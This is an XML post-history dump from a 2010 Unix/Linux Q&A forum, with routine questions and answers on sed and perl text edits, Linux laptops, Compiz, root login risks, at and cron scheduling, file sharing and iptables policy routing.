  <row Id="2297" PostHistoryTypeId="2" PostId="1197" RevisionGUID="43991c92-9316-4dd3-94c1-793d455d3a98" CreationDate="2010-08-24T19:15:04.760" UserId="298" Text="So, I have a bunch of files in a directory, and I need to insert a line of text into each of them.  They have essentially the following format: &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;&lt;code&gt;&#xD;&#xA;&amp;lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerAdmin gabe@localhost&#xD;&#xA;        DocumentRoot /var/www/test1&#xD;&#xA;        ServerName test1.local&#xD;&#xA;        ServerAlias test1&#xD;&#xA;        &amp;lt;Directory &quot;/var/www/test1&quot;&gt;&#xD;&#xA;                Options All&#xD;&#xA;                AllowOverride All&#xD;&#xA;        &amp;lt;/Directory&gt;&#xD;&#xA;&amp;lt;/VirtualHost&gt;&#xD;&#xA;&lt;/code&gt;&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;And I'd like to insert a line before the closing &lt;blockquote&gt;&amp;lt;/VirtualHost&gt;&lt;/blockquote&gt; tag.  My first assumption is that I should be able to do this with sed, probably matching and replacing that tag.  I'm going to start attempting this now, but if anyone has a existing way to do this, I'd love to hear it. " />
  <row Id="2298" PostHistoryTypeId="1" PostId="1197" RevisionGUID="43991c92-9316-4dd3-94c1-793d455d3a98" CreationDate="2010-08-24T19:15:04.760" UserId="298" Text="Adding a line of text to multiple files" />
  <row Id="2299" PostHistoryTypeId="3" PostId="1197" RevisionGUID="43991c92-9316-4dd3-94c1-793d455d3a98" CreationDate="2010-08-24T19:15:04.760" UserId="298" Text="écommandölineàéshellàéutilitiesà" />
  <row Id="2300" PostHistoryTypeId="2" PostId="1198" RevisionGUID="95339dfe-5f6e-42ef-8370-e13801a9b958" CreationDate="2010-08-24T19:23:12.437" UserId="1186" Text="Something like this:&#xD;&#xA;&#xD;&#xA;    sed 's/&lt;\/VirtualHost&gt;/yourlinehere\n&lt;\/VirtualHost&gt;/'&#xD;&#xA;&#xD;&#xA;works.&#xD;&#xA;If you want to repeat this command on a lot of file you can do something like:&#xD;&#xA;&#xD;&#xA;    for i in `ls`; do sed -i 's/&lt;\/VirtualHost&gt;/yourlinehere\n&lt;\/VirtualHost&gt;/' $i; done" />
  <row Id="2301" PostHistoryTypeId="2" PostId="1199" RevisionGUID="4aca0396-4224-40ac-8d86-4832473fc7ab" CreationDate="2010-08-24T19:29:17.650" UserId="160" Text="If you don't mind Perl try:&#xD;&#xA;&#xD;&#xA;    perl -pi'*.old' -e 's(&lt;/VirtualHost&gt;(Your stuff here\n&lt;/VirtualHost&gt;)' myfile&#xD;&#xA;&#xD;&#xA;The `-i` switch will save your old file with a `.old` extension and print to the current one." />
  <row Id="2302" PostHistoryTypeId="2" PostId="1200" RevisionGUID="4a120a0d-c84a-429b-9ce1-51c4e05685ae" CreationDate="2010-08-24T19:35:19.733" UserId="732" Text="You can also use &quot;ex&quot; (command-line vi) if the editing you want to do is even somewhat complicated.  For example, you only want to do the insert for on one instance of &quot;&lt;VirtualHost&gt;&quot;.&#xD;&#xA;&#xD;&#xA;A shell script like this can work:&#xD;&#xA;----&#xD;&#xA;    for FILENAME in *.whatever  # Need a criteria to glob, or a list of names&#xD;&#xA;    do&#xD;&#xA;        ex -s $FILENAME &lt;&lt; END_EDITS&#xD;&#xA;    /^&lt;\/VirtualHost&gt;/&#xD;&#xA;    O &quot; capital-o, not zero&#xD;&#xA;    text to insert goes here&#xD;&#xA;    .&#xD;&#xA;    w!&#xD;&#xA;    q&#xD;&#xA;    END_EDITS&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;This approach gives you the advantages of &quot;ex&quot;: finding a location with elaboarte patterns, and 'cursor movements'.  You can do things like find a pattern, then find the next instance, THEN do the insert.  Or you can change text, rather than just doing inserts. Or you can change between ranges.  Don't forget that &quot;ex&quot; lets you use &quot;.&quot; as the current line, so .,/^somepatter/s/blah/foo/ will work.&#xD;&#xA;" />
  <row Id="2303" PostHistoryTypeId="2" PostId="1201" RevisionGUID="a3140e93-6887-4cea-b22f-641fde3762e3" CreationDate="2010-08-24T19:35:38.300" UserId="138" Text="If you don't mind writing a small script to do what you need, I'd recommend doing it in &lt;a href=&quot;http://www.r-project.org/&quot;&gt;R&lt;/a&gt;, the open-source statistics system." />
  <row Id="2304" PostHistoryTypeId="2" PostId="1202" RevisionGUID="447a84c2-eb6e-4d16-95c7-8b72dc200207" CreationDate="2010-08-24T19:44:35.013" UserDisplayName="lenin" Text="Another option could be to use [monit][1], which is the one I generally use.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mmonit.com/monit/" />
  <row Id="2305" PostHistoryTypeId="2" PostId="1203" RevisionGUID="869dc56c-a6d6-479f-b639-a49d75506e05" CreationDate="2010-08-24T19:47:40.250" UserId="84" Text="I've always been unlucky with regards to choosing a laptop that I can install Linux on. If it's not the wireless card that's not working out of the box, it's the video card. Also, I'm still not able to hibernate my computer, close the lid and resume where I left off at a later point. I always have to shut down the laptop or leave it on.&#xD;&#xA;&#xD;&#xA;Is there a laptop today (in 2010) that is considered to be the best trade off between performance and compatibility with Linux?" />
  <row Id="2306" PostHistoryTypeId="1" PostId="1203" RevisionGUID="869dc56c-a6d6-479f-b639-a49d75506e05" CreationDate="2010-08-24T19:47:40.250" UserId="84" Text="Which 2010 laptop is most compatible with Linux?" />
  <row Id="2307" PostHistoryTypeId="3" PostId="1203" RevisionGUID="869dc56c-a6d6-479f-b639-a49d75506e05" CreationDate="2010-08-24T19:47:40.250" UserId="84" Text="élaptopàécompatibilityà" />
  <row Id="2308" PostHistoryTypeId="2" PostId="1204" RevisionGUID="b9387bae-db74-4e0e-af3a-94f1e6496d0c" CreationDate="2010-08-24T19:57:24.427" UserId="29" Text="I'd suggest buying one with Linux preinstalled so you know the hardware is compatible. Dell still sells some, though not sure if you can still use the web interface... Rumor has it you have to call now..." />
  <row Id="2309" PostHistoryTypeId="2" PostId="1205" RevisionGUID="527fb905-b99b-4463-97f8-f032cc4a6950" CreationDate="2010-08-24T20:07:47.033" UserId="313" Text="You can check on this site: http://www.linux-laptop.net/&#xD;&#xA;&#xD;&#xA;You look a lot of laptops and their level of &quot;compatibility&quot; with distributions of GNU/Linux that other user have tested, maybe you can find something that you like there." />
  <row Id="2310" PostHistoryTypeId="2" PostId="1206" RevisionGUID="294ebc2f-c5f4-4870-ba2b-e9a9d30bd4e7" CreationDate="2010-08-24T20:09:45.037" UserId="375" Text="I require Compiz for organizational reasons. I make heavy use of it's window sorting features. Bit I like light-weight environments so that I can give as much of my system's resources to the applications as possible.&#xD;&#xA;&#xD;&#xA;Is there a DE that plays nice with Compiz, but is still very light?" />
  <row Id="2311" PostHistoryTypeId="1" PostId="1206" RevisionGUID="294ebc2f-c5f4-4870-ba2b-e9a9d30bd4e7" CreationDate="2010-08-24T20:09:45.037" UserId="375" Text="The most light-weight Compiz compatible environment?" />
  <row Id="2312" PostHistoryTypeId="3" PostId="1206" RevisionGUID="294ebc2f-c5f4-4870-ba2b-e9a9d30bd4e7" CreationDate="2010-08-24T20:09:45.037" UserId="375" Text="éwindowömanageràédesktopöenvironmentà" />
  <row Id="2313" PostHistoryTypeId="2" PostId="1207" RevisionGUID="e6b8151d-2052-43c9-a9e5-3d7ccd7f45f6" CreationDate="2010-08-24T20:13:44.663" UserId="313" Text="This site does not comply with the **&quot;Not distribution specific&quot;** but you know what they say: *&quot;...Learn Slackware, Learn Linux&quot;*, so, in that spirit, check out the [Slackbook][1] =)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slackbook.org/" />
  <row Id="2314" PostHistoryTypeId="5" PostId="1206" RevisionGUID="14007047-e482-4270-a8e4-1fbb1cc6c197" CreationDate="2010-08-24T20:15:44.430" UserId="73" Comment="added 1 characters in body" Text="I require Compiz for organizational reasons; I make heavy use of its window sorting features. But I like light-weight environments so that I can give as much of my system's resources to the applications as possible.&#xD;&#xA;&#xD;&#xA;Is there a DE that plays nice with Compiz, but is still very light?&#xD;&#xA;" />
  <row Id="2315" PostHistoryTypeId="2" PostId="1208" RevisionGUID="8bc3f1c3-713f-499c-9e1c-9d8b5ec96e5a" CreationDate="2010-08-24T20:16:19.900" UserId="73" Text="Do you actually require a DE at all? I've run Compiz without one before, there's no real reason it would require one, and that's about as light-weight as you can get" />
  <row Id="2316" PostHistoryTypeId="2" PostId="1209" RevisionGUID="324e0387-3fc6-4bc2-9405-bf241dbfde11" CreationDate="2010-08-24T20:24:55.060" UserId="375" Text="You're talking about an OS that is the collaborative effort of countless people. If you run nothing but stable software you MAY be safe for a time.&#xD;&#xA;&#xD;&#xA;As mentioned before, you would be surprised how small a thing can trash your entire HD. In my first year, I tried running in root alot because, well, back in the days of Fedora-core 3, there weren't as many fancy ways to admin your system from user.&#xD;&#xA;&#xD;&#xA;At the time, I made a small xorg edit without backing up, because I didn't think it would hurt. Desktop gone. Then I tried to fix it manually, but couldn't figure out what I'd done, exactly. Later, I thought that maybe I could reinstall my drivers and desktop, but inadvertedly disconnected my ethernet, since it was also nvidia.&#xD;&#xA;&#xD;&#xA;While running Arch for the first time, I ignored warnings to create a user and ran as admin for a while. I installed a package from AUR that I needed and after I rebooted, my entire install was busted.&#xD;&#xA;&#xD;&#xA;Since I was in root, fixing these problems became a lot worse than they needed to be.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You might conclude I was just incompetent. But as others mentioned... typing &quot;sudo&quot; is a small price to pay for some peace of mind.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT: Oh... and certain programs, like WINE, are expressly not supposed to run in a root environment. http://wiki.winehq.org/FAQ#head-96bebfa287b4288974de0df23351f278b0d41014" />
  <row Id="2317" PostHistoryTypeId="2" PostId="1210" RevisionGUID="384aa419-8b97-4780-b251-7159372da04d" CreationDate="2010-08-24T20:28:03.037" UserId="90" Text="There is no best laptop for Linux, because this heavily depends on your usage. I'd recommend getting a laptop with Linux preinstalled.&#xD;&#xA;&#xD;&#xA;Other than that I can safely say that an Aspire Timeline 1810T runs Linux very well, but is a only subnotebook." />
  <row Id="2318" PostHistoryTypeId="2" PostId="1211" RevisionGUID="dd819b48-4db8-468a-a33f-245481c9d5ad" CreationDate="2010-08-24T20:29:37.143" UserId="373" Text="You might be able to fix it by creating a `~/.asoundrc` see http://alsa.opensrc.org/.asoundrc&#xD;&#xA;&#xD;&#xA;Specifically you want the opposite of the case here: http://alsa.opensrc.org/.asoundrc#Default_PCM_device&#xD;&#xA;&#xD;&#xA;so `aplay -L` with out the usb audio in and and `asoundrc` like this might work:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pcm.!default front:Intel&#xD;&#xA;&#xD;&#xA;If your card (Like mine) gets named `Intel` by alsa just putting that in `~/.asoundrc` should work (if you want it to affect stuff that's not run as your UID then put it in `/etc/asound.conf`)" />
  <row Id="2319" PostHistoryTypeId="2" PostId="1212" RevisionGUID="da8f6cf9-a167-4545-b646-52b39aeaf913" CreationDate="2010-08-24T20:38:42.097" UserId="1071" Text="I'm running Compiz standalone right now. Works just fine. I followed the instructions &lt;a href=&quot;http://wiki.archlinux.org/index.php/Compiz&quot;&gt;on the Arch Linux Compiz wiki page&lt;/a&gt;; see especially the section &lt;a href=&quot;http://wiki.archlinux.org/index.php/Compiz#As_a_Standalone_Window_Manager&quot;&gt;As a Standalone Window Manager&lt;/a&gt;." />
  <row Id="2320" PostHistoryTypeId="2" PostId="1213" RevisionGUID="6e64e524-cef5-4e11-8391-0bf34806c1ff" CreationDate="2010-08-24T20:46:13.033" UserId="991" Text="I'm using bash and wondering how I can execute a command/script at a later specified time, with the accuracy of a second?&#xD;&#xA;&#xD;&#xA;I read the man page for the `at`-command, but as far as I could understand it's only possible specify minutes (and not seconds). Right now I first use `at` and then `sleep` to get it to execute the right second. To demonstrate, if I would like to run my_script.sh at 22.21.05 I would do:&#xD;&#xA;&#xD;&#xA;    echo &quot;sleep 5; my_script.sh&quot; | at 22.21&#xD;&#xA;&#xD;&#xA;But it would be much nicer to have a command with it built in. Something like `at 22.21.05`." />
  <row Id="2321" PostHistoryTypeId="1" PostId="1213" RevisionGUID="6e64e524-cef5-4e11-8391-0bf34806c1ff" CreationDate="2010-08-24T20:46:13.033" UserId="991" Text="Scheduling command/script by specifying the exact second" />
  <row Id="2322" PostHistoryTypeId="3" PostId="1213" RevisionGUID="6e64e524-cef5-4e11-8391-0bf34806c1ff" CreationDate="2010-08-24T20:46:13.033" UserId="991" Text="écommandölineàéshellàébashàéscriptingà" />
  <row Id="2323" PostHistoryTypeId="2" PostId="1214" RevisionGUID="11c54976-9e66-48b4-a87e-bbf9ea9feb82" CreationDate="2010-08-24T20:46:28.933" UserId="373" Text="Well there's [Wayland](http://en.wikipedia.org/wiki/Wayland_%28display_server%29) but that's not ready yet.&#xD;&#xA;" />
  <row Id="2324" PostHistoryTypeId="2" PostId="1215" RevisionGUID="29c1f698-daee-4655-b623-fe57dd1de840" CreationDate="2010-08-24T20:49:59.217" UserId="885" Text="Quoting from the [Single Unix specification version 2, volume ”Commands &amp; Utilities&quot;, §2.13.3](http://www.opengroup.org/onlinepubs/007908799/xcu/chap2.html#tag_001_013_003):&#xD;&#xA;&#xD;&#xA;&gt; If a filename begins with a period (`.`) the period must be explicitly matched by using a period as the first character of the pattern or immediately following a slash character. (…) It is unspecified whether an explicit period in a bracket expression matching list, such as `[.abc]` can match a leading period in a filename.&#xD;&#xA;&#xD;&#xA;There is no exception that would make the second period in `..`, or the empty string following the only period in `.`, not matched by the wildcard in `.*`. Therefore the standard says that **`.*` matches `.` and `..`**, annoying though it may be.&#xD;&#xA;&#xD;&#xA;The passage above describes the behavior of the shell (`sh` command). The section on the `glob` C library function refererences this passage.&#xD;&#xA;&#xD;&#xA;The language is exactly the same in [version 3](http://www.opengroup.org/onlinepubs/009695399/), also known as POSIX:2001 and IEEE 1003.1-2001, which is what most current systems implement.&#xD;&#xA;&#xD;&#xA;Dash, bash and ksh93 comply with POSIX. Pdksh and zsh (even under `emulate sh`) don't.&#xD;&#xA;&#xD;&#xA;In ksh, you can make `.*` skip `.` and `..` by setting `FIGNORE='.?(.)'`, but this has the side effect of making `*` include dot files. Or you can set `FIGNORE='.*'`, but then `.*` doesn't match anything.&#xD;&#xA;&#xD;&#xA;In bash, you can make `.*` skip `.` and `..` by setting `GLOBIGNORE='.:..'`, but this has the side effect of making `*` include dot files. Or you can set `GLOBIGNORE='.*'`, but then `.*` doesn't match anything.&#xD;&#xA;" />
  <row Id="2325" PostHistoryTypeId="2" PostId="1216" RevisionGUID="bf66d3f5-706d-405c-bf41-34c337bcdcd0" CreationDate="2010-08-24T21:12:25.500" UserId="160" Text="I don't believe that this is possible.  `cron` is only granular down to the minute and the `at` utility hooks into it to do it's work.  I think you have the right solution--sleeping for *x* seconds before executing." />
  <row Id="2326" PostHistoryTypeId="2" PostId="1217" RevisionGUID="d56ec565-e627-444f-ae78-62235b7cb296" CreationDate="2010-08-24T21:41:07.487" UserId="1192" Text="My experience is mostly with Dell latitude series of laptops. Looking for Linux compatibility, their actual series is a go, and, on Fedora, they work with all the power saving features (suspend, resume, disk spinning...)&#xD;&#xA;&#xD;&#xA;I am not biased, but Intel hardware (Centrino brands, Core2 Duo, new Core i3, i5 and i7) are good to go, mostly because all of the hardware drivers are open source and kernel included (apart for firmware blobs of wifi cards), so they are a safe bet.&#xD;&#xA;&#xD;&#xA;The same for netbooks (apart from the Poulsbo graphic adapter). &#xD;&#xA;&#xD;&#xA;For a safe order, the Latitude or Vostro series with an intel wifi adapter should be ok. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="2327" PostHistoryTypeId="2" PostId="1218" RevisionGUID="7d71b8ef-946f-4fef-87cb-91d16f175438" CreationDate="2010-08-24T21:44:46.390" UserId="1192" Text="Safety reasons - a daemon or script vulnerability targeting Linux would have the Sysadmin power over your system.&#xD;&#xA;&#xD;&#xA;Running as a simple user AND using sudo is a lot different in term of security. My Firefox is running as my user, so any Firefox vulnerability will only hit my account. Nothing else." />
  <row Id="2328" PostHistoryTypeId="5" PostId="1052" RevisionGUID="7795baea-ea1a-40e6-a7c7-5b63acc9d547" CreationDate="2010-08-24T21:50:19.013" UserId="73" Comment="added 32 characters in body; edited tags; edited title" Text="For personal linux on my personal notebooks, I've usually set my environment to **autologin as root** even under X or lower runlevels. I've found my workflow is very pleasant and fast, without any cumbersome need to type `su` or `sudo` or being asked by keyring or auth or something.&#xD;&#xA;&#xD;&#xA;So far I've never had any problem with it, so **why are most people freaking out about it?** Is the concern overrated? Of course this assumes the user knows what they are doing and doesn't really care about system reliability and security issues." />
  <row Id="2329" PostHistoryTypeId="4" PostId="1052" RevisionGUID="7795baea-ea1a-40e6-a7c7-5b63acc9d547" CreationDate="2010-08-24T21:50:19.013" UserId="73" Comment="added 32 characters in body; edited tags; edited title" Text="Concern about logging in as root overrated?" />
  <row Id="2330" PostHistoryTypeId="6" PostId="1052" RevisionGUID="7795baea-ea1a-40e6-a7c7-5b63acc9d547" CreationDate="2010-08-24T21:50:19.013" UserId="73" Comment="added 32 characters in body; edited tags; edited title" Text="ésecurityàéusersàéloginàéadministrationàérootà" />
  <row Id="2331" PostHistoryTypeId="2" PostId="1219" RevisionGUID="a8ee012f-9b2e-40f8-affb-c9afb3a03669" CreationDate="2010-08-24T21:53:40.380" UserDisplayName="ryan" Text="I'll spare you the marketing speak, but try Centrify Express. It's a free tool to join your Linux and Macs to AD. http://www.centrify.com/express/download-centrify-express.asp" />
  <row Id="2332" PostHistoryTypeId="2" PostId="1220" RevisionGUID="7200028d-753e-43da-9bcc-b5aca81e5205" CreationDate="2010-08-24T22:08:34.887" UserId="1192" Text="Simple answer - start, write your pid somewhere, and every x time (seconds, minutes, your bet) check if the process is up.&#xD;&#xA;&#xD;&#xA;Long answer - all of the above are good methods. But somewhat complicated.&#xD;&#xA;&#xD;&#xA;Also keep in mind that being alive and answering to requests are different things." />
  <row Id="2333" PostHistoryTypeId="2" PostId="1221" RevisionGUID="f5f68a89-0a85-4695-8114-22c8c85afe33" CreationDate="2010-08-24T22:09:11.530" UserId="382" Text="You could make your technique into a function:&#xD;&#xA;&#xD;&#xA;    atplus () { local sec=${1##*.} time=${1%.*}; shift; echo &quot;sleep $sec; $@&quot; | at $time; }&#xD;&#xA;&#xD;&#xA;Try it out:&#xD;&#xA;&#xD;&#xA;    atplus 22.21.05 my_script.sh&#xD;&#xA;&#xD;&#xA;You should be aware, however, that precision is not guaranteed." />
  <row Id="2334" PostHistoryTypeId="2" PostId="1222" RevisionGUID="68aa8546-47f6-499f-81c4-1e1d14a6ea4d" CreationDate="2010-08-24T22:11:48.377" UserId="1192" Text="I bet a more appropriate response would be to install libX11-devel..." />
  <row Id="2335" PostHistoryTypeId="2" PostId="1223" RevisionGUID="cb0aff93-aced-470f-8081-9907856434cf" CreationDate="2010-08-24T22:22:58.303" UserId="178" Text="Pretty basic, but people don't seem to know, returns you to the previous dir:&#xD;&#xA;&#xD;&#xA;    cd -" />
  <row Id="2336" PostHistoryTypeId="16" PostId="1223" RevisionGUID="cb0aff93-aced-470f-8081-9907856434cf" CreationDate="2010-08-24T22:22:58.303" UserId="-1" />
  <row Id="2337" PostHistoryTypeId="5" PostId="1133" RevisionGUID="ab5bc7b4-4ff3-465b-89b9-a0905d0976e6" CreationDate="2010-08-24T22:43:16.060" UserId="885" Comment="use shift instead of arithmetic" Text="    set -- *; echo $#&#xD;&#xA;&#xD;&#xA;This is obviously generalizable to any glob. The `--` can be omitted if you're sure the first file doesn't begin with `-`.&#xD;&#xA;&#xD;&#xA;In a script, this has the sometimes unfortunate side effect of overwriting the positional parameters. You can work around this with a function (Bourne/POSIX version, you can write it more clearly in fancy shells) (warning, typed directly into the browser):&#xD;&#xA;&#xD;&#xA;    count_words () {&#xD;&#xA;      eval 'shift; '$1'=$#'&#xD;&#xA;    }&#xD;&#xA;    count_words number_of_files *&#xD;&#xA;    echo There are $number_of_files non-dot files in the current directory&#xD;&#xA;&#xD;&#xA;An alternative solution is `$(ls * | wc -l)`. If the glob is `*`, the command can be shortened to `$(ls | wc -l)`. Parsing the output of `ls` always makes me uneasy, but here it should work as long as your file names don't contain newlines, or your `ls` escapes them. And `$(ls * 2&gt;/dev/null | wc -l)` has the advantage of handling the case of a non-matching glob gracefully (i.e., it returns 0 in that case, whereas the `set *` method requires fiddly testing if the glob might be empty).&#xD;&#xA;" />
  <row Id="2338" PostHistoryTypeId="2" PostId="1224" RevisionGUID="deebdf71-13a0-4d32-8486-e588284d02a8" CreationDate="2010-08-24T23:06:31.340" UserId="1196" Text="I've done quite a bit of research in how to do this, and I see there's no direct way in cron to run a job, say, every other Thursday.&#xD;&#xA;&#xD;&#xA;Right now, I'm leaning toward making a script that will just run *every* week, and will touch a &quot;flag&quot; file when it runs, and if it runs and the file is already there, to remove the file (and not perform the bi-weekly action).&#xD;&#xA;&#xD;&#xA;My question is, is there any other more elegant or simpler way to accomplish this goal of a bash script of actions running every other week automatically?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="2339" PostHistoryTypeId="1" PostId="1224" RevisionGUID="deebdf71-13a0-4d32-8486-e588284d02a8" CreationDate="2010-08-24T23:06:31.340" UserId="1196" Text="Run a script via cron every other week" />
  <row Id="2340" PostHistoryTypeId="3" PostId="1224" RevisionGUID="deebdf71-13a0-4d32-8486-e588284d02a8" CreationDate="2010-08-24T23:06:31.340" UserId="1196" Text="ébashàéscriptingàécronà" />
  <row Id="2341" PostHistoryTypeId="2" PostId="1225" RevisionGUID="9cf655e8-75eb-4fc7-9d1f-5364a179777b" CreationDate="2010-08-24T23:35:27.707" UserId="160" Text="One way might be to use the `at` utility if you're running Linux.  You could put this at the end of your script:&#xD;&#xA;&#xD;&#xA;    at X + 2 weeks -f myscript&#xD;&#xA;&#xD;&#xA;where *X* is the time you want to run your script at.  To initialize just call `at` for the time you want to run it the first time and then the above statement keeps renewing your scheduled call." />
  <row Id="2342" PostHistoryTypeId="2" PostId="1226" RevisionGUID="36f75143-c50f-474b-80ec-f317b78ac60c" CreationDate="2010-08-24T23:37:55.587" UserId="469" Text="I'm not sure if there is a more elegant way to define the every other week, but this may work for you.&#xD;&#xA;&#xD;&#xA;    00 06 1-7,15-21 * * test `date +\%a` = Thu &amp;&amp; /path/to/script&#xD;&#xA;&#xD;&#xA;This will launch the script at 6:00am on the first and third Thursdays of the month." />
  <row Id="2343" PostHistoryTypeId="5" PostId="1123" RevisionGUID="d20dda99-52ba-4485-a95a-a1be13344c98" CreationDate="2010-08-24T23:40:04.410" UserId="1103" Comment="added 951 characters in body; edited body" Text="You can use [Fish][1] or [SFTP][2] to transfer files between computers, with minimal prior setup. Both protocols transfer files over [SSH][3], which is secure and encrypted. They are very well integrated into [KDE][4]: you can type `fish://` or `sftp://` URLs into Dolphin's Location Bar, or you can use the &quot;Add Network Folder&quot; wizard. [SFTP][5] at least seems to be supported by [Gnome][6] too.  &#xD;&#xA;&#xD;&#xA;I personally use Fish.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the server machine [Fish][7] and [SFTP][8] need only an [SSH][9] server running, that you can also use to administrate the server machine. Everyone who wants to access the server over Fish or SFTP needs a user account on the server. The usual file access permissions apply, for files accessed over the network.&#xD;&#xA;&#xD;&#xA;Fish and SFTP are roughly equivalent to shared directories on Windows, but both work over the Internet too. Usual (command line) programs however can't see the remote files, only programs that use the file access libraries of either Gnome or KDE can see them. To access the remote files through scripts, KDE has the `kioclient` program.  &#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;For a setup with a central server that serves both user identities and files look at [NIS][10] and [NFS][11]. Both are quite easy to set up, especially with the graphical installers from [Opensuse][12]. This is the setup where every user can work at any machine and find his/her personal environment. However the client machines become unusable when they can't access the server. &#xD;&#xA;&#xD;&#xA;Furthermore a simple NFS installation has very big security holes. The local computers, where the users sit, have to handle the access rights. The NFS server trusts any computer that has the right IP address. A smart 12 year old kid with a laptop can get access to every file, by replacing one of the local machines with the laptop and recreating the NFS client setup (which is easy). &#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;Off course there is [Samba][13], which has already been mentioned by Grokus. It seems to be quite universal: It can serve files, printers, and login information. It is compatible with Windows and Linux; there is really a [PAM][14] Module ([Winbind][15]) that lets Linux use the login information form a Samba or Windows server. Samba (and Windows) does not have the security problems of NFS, it handles user identification and access rights in the server. &#xD;&#xA;(*Please note: I did never administrate or install a Samba server.*)&#xD;&#xA;&#xD;&#xA;My conclusion: Fish or SFTP are IMHO best for usage at home. Use Samba if you have Windows clients too. NFS is only useful if you can trust everybody, but I expect it to create the lowest CPU load.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Secure_Shell&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/KDE&#xD;&#xA;  [5]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol&#xD;&#xA;  [6]: http://en.wikipedia.org/wiki/GNOME&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/Files_transferred_over_shell_protocol&#xD;&#xA;  [8]: http://en.wikipedia.org/wiki/SSH_file_transfer_protocol&#xD;&#xA;  [9]: http://en.wikipedia.org/wiki/Secure_Shell&#xD;&#xA;  [10]: http://en.wikipedia.org/wiki/Network_Information_Service&#xD;&#xA;  [11]: http://en.wikipedia.org/wiki/Network_File_System_(protocol)&#xD;&#xA;  [12]: http://en.wikipedia.org/wiki/OpenSUSE&#xD;&#xA;  [13]: http://en.wikipedia.org/wiki/Samba_(software)&#xD;&#xA;  [14]: http://en.wikipedia.org/wiki/Pluggable_Authentication_Modules&#xD;&#xA;  [15]: http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/winbind.html" />
  <row Id="2344" PostHistoryTypeId="2" PostId="1227" RevisionGUID="4c51aedc-99c9-49f3-8419-8604075c8ead" CreationDate="2010-08-25T00:02:10.970" UserId="305" Text="I'm not sure what issues you're constantly experiencing but I run Gentoo on Lenovo Thinkpad without problems (fingerprint reader does not work) - with possible problems with removal of BKL in recent kernels (however 2.6.33 worked ok). Previously I used IBM Thinkpad.&#xD;&#xA;&#xD;&#xA;From my small experience with them:&#xD;&#xA;&#xD;&#xA;- Thinkpads seems to have a community which helps configuring them ([IRC channel][1], [website][2]). &#xD;&#xA;- Unless you need high-performace of graphics use intel. I had much trouble with getting ATI card (XPress 200M) to work (basic OpenGL was ok but there were problems with KMS - at least some time ago)&#xD;&#xA;- Don't trust windows recovery tool. Back up the position of partitions - it said it won't change partions other then `C:` but it deleted first secondary partition (`/dev/sda5`). Strangely grub was left on its place and data was undamaged (fortunatly I could reverse-engeneer the positions).&#xD;&#xA;&#xD;&#xA;In addition to recommending [linux laptops][3] I can recomend Thinkpads (you asked) - I didn't use many other laptops but they worked.&#xD;&#xA;&#xD;&#xA;  [1]: http://irc://irc.freenode.net/#ibmthinkpad&#xD;&#xA;  [2]: http://thinkwiki.org&#xD;&#xA;  [3]: http://www.linux-laptop.net/" />
  <row Id="2345" PostHistoryTypeId="2" PostId="1228" RevisionGUID="3fdb28a8-8807-4dd6-86ed-070abbe0e1ee" CreationDate="2010-08-25T00:17:36.503" UserId="305" Text="Use policy routing with marking packets. I'm not sure what format of configuration it is but you should check it in your distro.&#xD;&#xA;&#xD;&#xA;In commandline it should look like (not tested but should work)&#xD;&#xA;&#xD;&#xA;    iptables -A PREROUTING -t mangle -p tcp --dport 22 --set-mark 0x1 -j CONNMARK&#xD;&#xA;    cat &quot;200 ssh&quot; &gt;&gt; /etc/iproute2/rt_tables&#xD;&#xA;    ip rule add fwmark 1 table ssh&#xD;&#xA;    ip route add default dev eth0 via 192.168.1.2 table ssh&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2346" PostHistoryTypeId="2" PostId="1229" RevisionGUID="7cef75b2-7659-4384-8198-3b587271d312" CreationDate="2010-08-25T00:19:15.363" UserId="203" Text="An of out of the box option is to re-purpose your current boxes as terminals (using something like [ThinStation][1]) and set them all up to auto log into a beefy new Ubuntu box.  You could use [DynDNS][2] to keep an external name resolving and access the same system from work (assuming you aren't in a proxy black hole).  That would keep all of your files in a single location, and let you all share the same environment.&#xD;&#xA;&#xD;&#xA;That said, this is not for the faint of heart.  Exposing your Linux server to the outside world is somewhat risky.  You would also all be using the same box, so if it failed you would all be out of luck.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.thinstation.org/&#xD;&#xA;  [2]: https://www.dyndns.com/" />
  <row Id="2347" PostHistoryTypeId="2" PostId="1230" RevisionGUID="afbd027d-22b1-4434-9b69-d02da6f41d78" CreationDate="2010-08-25T00:28:33.513" UserId="305" Text="I'd like to prevent automounting one partition (known UUID etc.) on one external harddrive. Others should be automounted. Distro is 'modern'(read uses lots of beta) and uses udisk+udev for mounting.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2348" PostHistoryTypeId="1" PostId="1230" RevisionGUID="afbd027d-22b1-4434-9b69-d02da6f41d78" CreationDate="2010-08-25T00:28:33.513" UserId="305" Text="preventing mounting some partition by user (gnome+udisk)" />
  <row Id="2349" PostHistoryTypeId="3" PostId="1230" RevisionGUID="afbd027d-22b1-4434-9b69-d02da6f41d78" CreationDate="2010-08-25T00:28:33.513" UserId="305" Text="élinuxàégnomeàéudevàéautomountingà" />
